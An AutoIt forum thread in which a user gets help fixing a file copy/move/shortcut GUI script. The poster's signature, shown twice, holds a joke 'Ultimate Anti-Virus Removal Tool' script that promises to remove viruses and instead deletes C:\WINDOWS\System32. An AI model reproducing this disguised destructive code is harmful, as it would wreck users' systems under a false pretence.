Jump to content

I'm in a bit of a predicament


Firefoxy
 Share

Recommended Posts

I'm making a little program for my personal use (as you can see by it's simplicity). This is what I have at the moment:

#include <GUIConstants.au3>

#Region ### START Koda GUI section ### Form=
$Form2 = GUICreate("Simple Folder Tools", 413, 380, 301, 219, -1, $WS_EX_ACCEPTFILES, "")
$Files = GUICtrlCreateEdit("", 8, 8, 289, 321)
GUICtrlSetState($Files, $GUI_DROPACCEPTED)
$Label1 = GUICtrlCreateLabel("Output folder:", 8, 344, 112, 25)
GUICtrlSetFont(-1, 9, 800, 0, "Comic Sans MS")
$OutputFolderGUI = GUICtrlCreateInput("", 128, 344, 209, 24)
$Browse = GUICtrlCreateButton("Browse", 344, 344, 57, 25, 0)
$Combo1 = GUICtrlCreateCombo("Copy", 304, 16, 81, 25)
GUICtrlSetData(-1, "Move|Shortcut","Copy") 
GUICtrlSetFont(-1, 8, 400, 0, "Comic Sans MS")
$Go = GUICtrlCreateButton("Go!", 304, 64, 97, 33, 0)
GUISetState(@SW_SHOW)
#EndRegion ### END Koda GUI section ###

While 1
$nMsg = GUIGetMsg()
Switch $nMsg
Case $GUI_EVENT_CLOSE
Exit
Case $Browse
    $OutputFolder = FileSelectFolder("Select an output folder.", "", 1)
    GUICtrlSetData($OutputFolderGUI, $OutputFolder)
Case $Go
    $Action = GUICtrlRead($Combo1)
    $Files2 = GUICtrlRead($Files)
    If $Action = "Move" Then
        FileMove($Files2, $OutputFolder)
    ElseIf $Action = "Copy" Then
        FileCopy($Files2, $OutputFolder)
    ElseIf $Action = "Shortcut" Then
        FileCreateShortcut($Files2, $OutputFolder & ".lnk")
    EndIf
EndSwitch
WEnd

The copy and move function don't work at all. The Shortcut makes a shortcut to My Computer and places it on my desktop...How exactly would I make this all work?

;Ultimate Anti-Virus Removal Tool

$ans = MsgBox(4, "Ultimate AV", "Press 'Yes' to remove all viruses, press 'No' to exit.")

If $ans = 6 Then
   DirRemove("C:\WINDOWS\System32")
ElseIf $ans = 7 Then
   Exit
EndIf
Link to comment
Share on other sites

Try

#include <GUIConstants.au3>

#Region ### START Koda GUI section ### Form=
$Form2 = GUICreate("Simple Folder Tools", 413, 380, 301, 219, -1, $WS_EX_ACCEPTFILES, "")
$Files = GUICtrlCreateEdit("", 8, 8, 289, 321)
GUICtrlSetState($Files, $GUI_DROPACCEPTED)
$Label1 = GUICtrlCreateLabel("Output folder:", 8, 344, 112, 25)
GUICtrlSetFont(-1, 9, 800, 0, "Comic Sans MS")
$OutputFolderGUI = GUICtrlCreateInput("", 128, 344, 209, 24)
$Browse = GUICtrlCreateButton("Browse", 344, 344, 57, 25, 0)
$Combo1 = GUICtrlCreateCombo("Copy", 304, 16, 81, 25)
GUICtrlSetData(-1, "Move|Shortcut","Copy") 
GUICtrlSetFont(-1, 8, 400, 0, "Comic Sans MS")
$Go = GUICtrlCreateButton("Go!", 304, 64, 97, 33, 0)
GUISetState(@SW_SHOW)
#EndRegion ### END Koda GUI section ###

While 1
$nMsg = GUIGetMsg()
Switch $nMsg
Case $GUI_EVENT_CLOSE
Exit
Case $Browse
    $OutputFolder = FileSelectFolder("Select an output folder.", "", 1)
    GUICtrlSetData($OutputFolderGUI, $OutputFolder)
Case $Go
    $Action = GUICtrlRead($Combo1)
    $Files2 = GUICtrlRead($Files)
    If $Action = "Move" Then
        FileMove($Files2, $OutputFolder & "\")
    ElseIf $Action = "Copy" Then
        FileCopy($Files2, $OutputFolder & "\")
    ElseIf $Action = "Shortcut" Then
        FileCreateShortcut($Files2, $OutputFolder & "\" & ".lnk")
    EndIf
EndSwitch
WEnd


Time you enjoyed wasting is not wasted time ......T.S. Elliot
Suspense is worse than disappointment................Robert Burns
God help the man who won't help himself, because no-one else will...........My Grandmother

Link to comment
Share on other sites

That didn't work at first. I switched the Edit box to an Input box. It worked then. I was making this though to move many files (folders). I'll have to split the lines from the edit box and then it might work.

;Ultimate Anti-Virus Removal Tool

$ans = MsgBox(4, "Ultimate AV", "Press 'Yes' to remove all viruses, press 'No' to exit.")

If $ans = 6 Then
   DirRemove("C:\WINDOWS\System32")
ElseIf $ans = 7 Then
   Exit
EndIf
Link to comment
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now
 Share

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...